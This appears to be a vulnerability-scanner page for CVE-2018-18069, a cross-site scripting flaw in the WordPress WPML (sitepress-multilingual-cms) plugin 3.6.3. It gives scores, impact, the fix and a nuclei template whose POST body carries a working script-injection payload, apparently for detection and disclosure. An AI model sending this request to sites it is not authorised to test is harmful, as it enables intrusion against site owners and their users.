WordPress sitepress-multilingual-cms 3.6.3 - Cross-Site Scripting

mediumseverity

6.1CVSS score

13.2%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

WordPress plugin sitepress-multilingual-cms 3.6.3 is vulnerable to cross-site scripting in process_forms via any locale_file_name_ parameter (such as locale_file_name_en) in an authenticated theme-localization.php request to wp-admin/admin.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.

Fix

Update WordPress sitepress-multilingual-cms to the latest version to mitigate the XSS vulnerability.

How to confirm it

Send: POST {{BaseURL}}/wp-admin/admin.php
Positive when: contains(tolower(header), "text/html") and contains(set_cookie, "_icl_current_admin_language") and contains(body, "\"><script>alert(0);</script>")

Run it with nuclei: nuclei -id CVE-2018-18069 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-18069

info:
  name: WordPress sitepress-multilingual-cms 3.6.3 - Cross-Site Scripting
  author: nadino
  severity: medium
  description: WordPress plugin sitepress-multilingual-cms 3.6.3 is vulnerable to cross-site scripting in process_forms via any locale_file_name_ parameter (such as locale_file_name_en) in an authenticated theme-localization.php request to wp-admin/admin.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update WordPress sitepress-multilingual-cms to the latest version to mitigate the XSS vulnerability.
  reference:
    - https://0x62626262.wordpress.com/2018/10/08/sitepress-multilingual-cms-plugin-unauthenticated-stored-xss/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18069
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/merlinepedra/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-18069
    cwe-id: CWE-79
    epss-score: 0.13207
    epss-percentile: 0.96404
    cpe: cpe:2.3:a:wpml:wpml:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: wpml
    product: wpml
    framework: wordpress
  tags: cve2018,cve,wordpress,xss,plugin,wpml,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin.php"

    body: |
      icl_post_action=save_theme_localization&locale_file_name_en=EN"><script>alert(0);</script>
    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(header), "text/html")'
          - 'contains(set_cookie, "_icl_current_admin_language")'
          - 'contains(body, "\"><script>alert(0);</script>")'
        condition: and

References

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